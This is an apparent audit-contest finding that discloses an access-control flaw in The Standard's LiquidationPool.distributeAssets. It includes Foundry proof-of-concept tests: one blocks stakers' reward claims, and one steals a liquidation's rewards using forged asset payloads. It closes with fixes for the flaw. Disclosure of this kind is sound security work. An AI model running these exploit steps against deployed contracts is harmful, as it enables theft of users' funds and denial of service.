The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Denial of Service for Legitimate Users and Monopolization of Rewards

Summary

A critical vulnerability in the liquidationPoolManager smart contract allow a malicious actor to set an exceedingly high reward amount for all stackers, effectively creating a denial of service condition for the claimRewards function.

distributeAssets method, which should be restricted to execution by the liquidationPoolManager, is currently accessible to any user. The vulnerability arises from the lack of proper access control and validation of the _assets and _hundredPC parameters.

This would prevent legitimate users from claiming their rewards, while allowing the attacker to unilaterally claim all assets distributed after a liquidation event.

The exploit works by tampering with the system that decides how rewards are given out. It does this by feeding in forged information that distabilize the usual way of calculating rewards. This can lead to an unfair sharing of assets and could cause financial harm to users.

Vulnerability Details

To be able to run the test in this finding follow the following recommendation

INITIAL FOUNDRY SETUP FOR POC

Follow the following tutorial to install foundry in your local repo

https://hardhat.org/hardhat-runner/docs/advanced/hardhat-and-foundry

When hardhat-foundry is installed, rename the current test folder to hardhat_test so forge won't look at it.

Create/Update the foundry.toml fil with the current setup, to allow compilation with viaIR

[profile.default]
src = 'contracts'
out = 'out'
libs = ['node_modules', 'lib']
test = 'test'
cache_path = 'cache_forge'
viaIR= true

Create a new test folder, with the following file test contract in it, this contract deploy the whole contract stack.

The smartVaultManager is deployed with the proxy.
NFTMetadataGenerator is replaced by a Dummy address to lower the compilation time.

2 helpers are used in all the pocs:

_deployVault: Used to deploy the user Vault and retrieve the vault address
_send: Is used to send ETH

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import "./utils/ERC20Mock.sol";
import "./utils/EUROsMock.sol";
import "./utils/ChainlinkMock.sol";
import "./utils/TokenManagerMock.sol";
import "./utils/SmartVaultDeployerV3.sol";
import "./utils/SwapRouterMock.sol";
import "./utils/SmartVaultIndex.sol";
import "../contracts/LiquidationPoolManager.sol";
import "./utils/SmartVaultManager.sol";
import "../contracts/SmartVaultManagerV5.sol";
import "openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol";
import {Test} from "forge-std/Test.sol";
import {StdInvariant} from "forge-std/StdInvariant.sol";
import {console2} from "forge-std/console2.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
contract ImplDeployerProxy is ERC1967Proxy {
constructor(address impl, bytes memory data) ERC1967Proxy(impl, data) {}
function upgradeTo(address newImplementation) public {
_upgradeTo(newImplementation);
}
}
contract ContractBTest is Test {
uint256 baseTime = 1710000000;
uint256 DEFAULT_COLLATERAL_RATE = 120000; // 120%
uint256 PROTOCOL_FEE_RATE = 500; // 0.5%
uint32 POOL_FEE_PERCENTAGE = 50000; // 50%
bytes32 immutable WETH = "ETH";
address WETH_ADDRESS = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
address WBTC_ADDRESS = 0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f;
EUROsMock EUROs;
ERC20Mock TST;
ERC20Mock WBTC;
ChainlinkMock ClEthUsd;
ChainlinkMock ClBtcUsd;
ChainlinkMock ClEurUsd;
SmartVaultManager smartVaultManagerV1;
ImplDeployerProxy proxy;
SmartVaultManagerV5 smartVaultManagerV5;
SmartVaultIndex smartVaultIndex;
SmartVaultV3 smartVault;
LiquidationPoolManager liquidationPoolManager;
LiquidationPool liquidationPool;
TokenManagerMock tokenManagerMock;
address user = makeAddr("user");
address deployer = makeAddr("deployer");
address protocol = makeAddr("protocol");
address userLiquidator = makeAddr("userLiquidator");
address maliciousUser = makeAddr("maliciousUser");
address NFTMetadataGenerator = makeAddr("Dum");
address liquidator = makeAddr("liquidator");
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
function setUp() public {
vm.startPrank(deployer);
address implementationV1 = address(smartVaultManagerV1);
WBTC = new ERC20Mock('Wrapped BTC', 'WBTC', 8);
// Set chainlink price Mock to 2200$
ClEthUsd = new ChainlinkMock('ETH / USD');
ClBtcUsd = new ChainlinkMock('BTC / USD');
ClEurUsd = new ChainlinkMock('EUR / USD');
vm.warp(baseTime);
ClEthUsd.setPrice(220000000000); // 2200$
vm.warp(baseTime);
ClBtcUsd.setPrice(4400000000000); // 44000$
vm.warp(baseTime);
ClEurUsd.setPrice(110000000); // 1.10$
EUROs = new EUROsMock();
tokenManagerMock = new TokenManagerMock(WETH, address(ClEthUsd));
tokenManagerMock.addAcceptedToken(address(WBTC), address(ClBtcUsd));
address smartVaultDeployerV3 = address(new SmartVaultDeployerV3(WETH, address(ClEurUsd)));
smartVaultIndex = new SmartVaultIndex();
address swapRouterMock = address(new SwapRouterMock());
// Make sure everything is deployed correctly
bytes memory data = abi.encodeWithSignature(
"initialize(uint256,uint256,address,address,address,address,address,address,address)",
DEFAULT_COLLATERAL_RATE,
PROTOCOL_FEE_RATE,
address(EUROs),
protocol,
liquidator,
address(tokenManagerMock),
smartVaultDeployerV3,
address(smartVaultIndex),
NFTMetadataGenerator
);
// Set contract and proxy
proxy = new ImplDeployerProxy(address(new SmartVaultManager()), data);
proxy.upgradeTo(address(new SmartVaultManagerV5()));
smartVaultManagerV5 = SmartVaultManagerV5(address(proxy));
// Settup vault manager
smartVaultIndex.setVaultManager(address(smartVaultManagerV5));
bytes32 adminRole = EUROs.DEFAULT_ADMIN_ROLE();
EUROs.grantRole(adminRole, address(smartVaultManagerV5));
// For testing purpose we allow this contract to mint EUROs
EUROs.grantRole(adminRole, address(this));
EUROs.grantRole(EUROs.MINTER_ROLE(), address(this));
// Liquidation setup
TST = new ERC20Mock('The Standard Token', 'TST', 18);
liquidationPoolManager =
new LiquidationPoolManager(address(TST), address(EUROs), address(smartVaultManagerV5), address(ClEurUsd), payable(protocol), POOL_FEE_PERCENTAGE);
liquidationPool = LiquidationPool(liquidationPoolManager.pool());
smartVaultManagerV5.setLiquidatorAddress(address(liquidationPoolManager));
smartVaultManagerV5.setProtocolAddress(address(liquidationPoolManager));
EUROs.grantRole(EUROs.BURNER_ROLE(), address(liquidationPool));
vm.stopPrank();
}
function _send(address target, uint256 amount) private {
(bool ok,) = address(target).call{value: amount}("");
require(ok, "Send ETH fail");
}
function _deployVault() public returns (address payable vaultAddress) {
vm.recordLogs();
//Mint vault through smartVaultManager and extract address
smartVaultManagerV5.mint();
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 vaultAddressBytes = logs[4].topics[1];
vaultAddress = payable(address(uint160(uint256(vaultAddressBytes))));
smartVault = SmartVaultV3(vaultAddress);
}
function testSetup() public {
startHoax(user, 100 ether);
address vaultAddress = _deployVault();
_send(address(smartVault), 1 ether); // User send 1 ETH to the contract
smartVault.mint(user, 100 ether);
vm.stopPrank();
assert(EUROs.balanceOf(user) == 100 ether);
}

As the distributeAssets method is external a malicious user could forge the following payload creating a DDOS for legitimate staker

Simple POC demo

function testBreakingUserRewardsInDistributeAssets() public {
// Legit user stake in the pool
EUROs.mint(user, 1);
vm.startPrank(user);
TST.mint(user, 1);
TST.approve(address(liquidationPool), 1);
EUROs.approve(address(liquidationPool), 1);
vm.warp(baseTime);
liquidationPool.increasePosition(1, 1);
vm.stopPrank();
vm.startPrank(maliciousUser);
// Forge Malicious Asset Payload
ITokenManager.Token[] memory tokens = new ITokenManager.Token[](1);
tokens[0] = ITokenManager.Token(
WETH, address(0), 18, address(ClEthUsd), Chainlink.AggregatorV3Interface(address(ClEthUsd)).decimals()
);
ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](tokens.length);
assets[0] = ILiquidationPoolManager.Asset(tokens[0], 100_000 ether);
baseTime += 1 days + 1 minutes;
vm.warp(baseTime);
liquidationPool.distributeAssets(assets, 1, 0);
vm.stopPrank();
}

distributeAssets bypass check walkthrough

By setting _hundredPC to zero the costInEuros variable will be qual to zero during the execution as a multiplication by zero is equal to zero

uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd)
/ uint256(priceEurUsd) * _hundredPC / _collateralRate;

It allows the malicious actor to reward a large _portion of asset to other users as _portion is a ratio of the position stake, this amount will not be claimable as in this POC even 1% of the staking amount will represent 1000 ETH reward per users

Bellow are the most important manipulation during the execution.

// 100_000 * 1/100 = 1000
uint256 _portion = asset.amount * _positionStake / stakeTotal;
...
// As costInEuros is 0 we avoid this adjustment
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
// As costInEuros is zero we avoid the underflow
_position.EUROs -= costInEuros;
// Reward for user will be 1000 ETH
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
// costInEuros is zero so no token will be burn avoiding a revert
burnEuros += costInEuros;

As we are using ETH as asset and the amount of nativePurchased represent the maximum amount, returnUnpurchasedNative is 0.

So at then end of the POC each user will have an unreachable amount of reward set to their address, as we can see in the claimRewards method bellow, each attempt to claim will revert.

function claimRewards() external {
ITokenManager.Token[] memory _tokens = ITokenManager(tokenManager).getAcceptedTokens();
for (uint256 i = 0; i < _tokens.length; i++) {
ITokenManager.Token memory _token = _tokens[i];
uint256 _rewardAmount = rewards[abi.encodePacked(msg.sender, _token.symbol)];
if (_rewardAmount > 0) {
delete rewards[abi.encodePacked(msg.sender, _token.symbol)];
if (_token.addr == address(0)) {
//@note claimRewards will fail as the contract will need to hold more than 1000 ETH
(bool _sent,) = payable(msg.sender).call{value: _rewardAmount}("");
require(_sent);
} else {
IERC20(_token.addr).transfer(msg.sender, _rewardAmount);
}
}
}
}

result when claiming:

│ ├─ [0] user::fallback{value: 1000000000000000000000}()
│ │ └─ ← EvmError: OutOfFund
│ └─ ← EvmError: Revert

Sophisticated POC to steal funds

In this POC a vault is created with ETH as collateral by the "user".
An other user Stake enough EUROs and TST to be able to claim assets in case of liquidation.

A malicious user block the legit staking user by providing him a huge amount of reward.

Then when a liquidation happen he set himself the amount of reward that should be sent to the user who stake.

The cost of the attack is 2 transactions and 2 wei of TST and EUROs.

function testMaliciousUserGetAllAssets() public {
// Create a vault for a user
// It will be the liquidated reward that the malicious user will steal
startHoax(user, 100 ether);
address vaultAddress = _deployVault();
_send(address(smartVault), 10 ether);
uint256 amounToMint = 16_500 ether; // User Mint 16_500 EURO
smartVault.mint(user, amounToMint);
vm.stopPrank();
// userStake deposit EURO and TST to get discounted asset
// in case of liquidation
address userStake = makeAddr("userStake");
EUROs.mint(userStake, 10_000 ether);
vm.startPrank(userStake);
TST.mint(userStake, 10_000 ether);
TST.approve(address(liquidationPool), 10_000 ether);
EUROs.approve(address(liquidationPool), 10_000 ether);
vm.warp(baseTime);
liquidationPool.increasePosition(10_000 ether, 10_000 ether);
vm.stopPrank();
// Forge Malicious Asset Payload to block userStake a day later
// At this point if no liquidation have been trigger the exploit
// could still not be detected as no event are emitted
baseTime += 1 days + 1 minutes;
vm.startPrank(maliciousUser);
ITokenManager.Token[] memory tokens = new ITokenManager.Token[](1);
tokens[0] = ITokenManager.Token(
WETH, address(0), 18, address(ClEthUsd), Chainlink.AggregatorV3Interface(address(ClEthUsd)).decimals()
);
ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](tokens.length);
assets[0] = ILiquidationPoolManager.Asset(tokens[0], 100_000 ether);
vm.warp(baseTime);
liquidationPool.distributeAssets(assets, 1, 0);
vm.stopPrank();
// Use an other address to not be suspicious
address maliciousUser2 = makeAddr("maliciousUser2");
// Now our malicious user can stake in case a liquidation happen liquidation
EUROs.mint(maliciousUser2, 1);
vm.startPrank(maliciousUser2);
TST.mint(maliciousUser2, 1);
TST.approve(address(liquidationPool), 1);
EUROs.approve(address(liquidationPool), 1);
liquidationPool.increasePosition(1, 1);
vm.stopPrank();
// Set the asset price to 2000 to allow a liquidation
baseTime += 1 days + 1 minutes;
vm.warp(baseTime);
ClEthUsd.setPrice(200000000000); // 2000$
liquidationPoolManager.runLiquidation(1);
// Malicious User detect a liquidation by monitoring the
// liquidationPool NATIVE balance and forge a positive reward
vm.startPrank(maliciousUser2);
ILiquidationPoolManager.Asset[] memory assetsReward = new ILiquidationPoolManager.Asset[](tokens.length);
assetsReward[0] = ILiquidationPoolManager.Asset(tokens[0], 6.6 ether);
liquidationPool.distributeAssets(assetsReward, 1, 0);
vm.stopPrank();
// Legit user claimReward revert
vm.startPrank(userStake);
vm.expectRevert();
liquidationPool.claimRewards();
vm.stopPrank();
// Malicious user steal userStake reward
vm.startPrank(maliciousUser2);
liquidationPool.claimRewards();
assert(maliciousUser2.balance == 6.6 ether);
vm.stopPrank();
}

Impact

The vulnerability in the distributeAssets method presents a severe risk, primarily due to the potential of a single malicious actor to exploit the system to their advantage while blocking other users from claiming their rewards. This can lead to several adverse outcomes:

  1. Denial of Service for Legitimate Users: By manipulating the reward distribution, the attacker can set an unattainable amount of rewards for other users, effectively locking them out from claiming any rewards. This denial of service can erode trust in the platform and lead to a loss of user base.

  2. Monopolization of Rewards: The attacker can position themselves as the only user capable of claiming rewards, allowing them to unfairly accumulate assets at the expense of other stakeholders in the ecosystem.

  3. Economic Impact: Such an exploit could lead to significant financial loss for legitimate users and could potentially destabilize the economic model of the protocol, leading to broader systemic risks.

Tools Used

Forge test

Manual review

Recommendations

  1. Access Control Restriction: Modify the distributeAssets method to ensure that it can only be called by the liquidationPoolManager. This can be achieved by implementing a modifier that checks the caller's address and compares it with the authorized liquidationPoolManager address.

  2. Input Validation: Implement strict checks on the inputs to the distributeAssets method, particularly on _assets and _hundredPC parameters, to ensure they fall within reasonable and expected ranges. Additionally _hundredPC and _collateralRate could be called from the liquidationPoolManager

  3. Rewards Calculation Logic Review: Re-examine and possibly refactor the logic used for calculating rewards in the claimRewards method to prevent overflow or underflow scenarios, which can be exploited.

  4. Monitoring and Alerts: Establish monitoring systems to track unusual activities or transactions that could indicate attempts to exploit this vulnerability. Adding event in distributeAssets and claimRewards

  5. Emergency Response Plan: Develop and maintain an emergency response plan to quickly address any exploitation attempts or security breaches related to this vulnerability.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.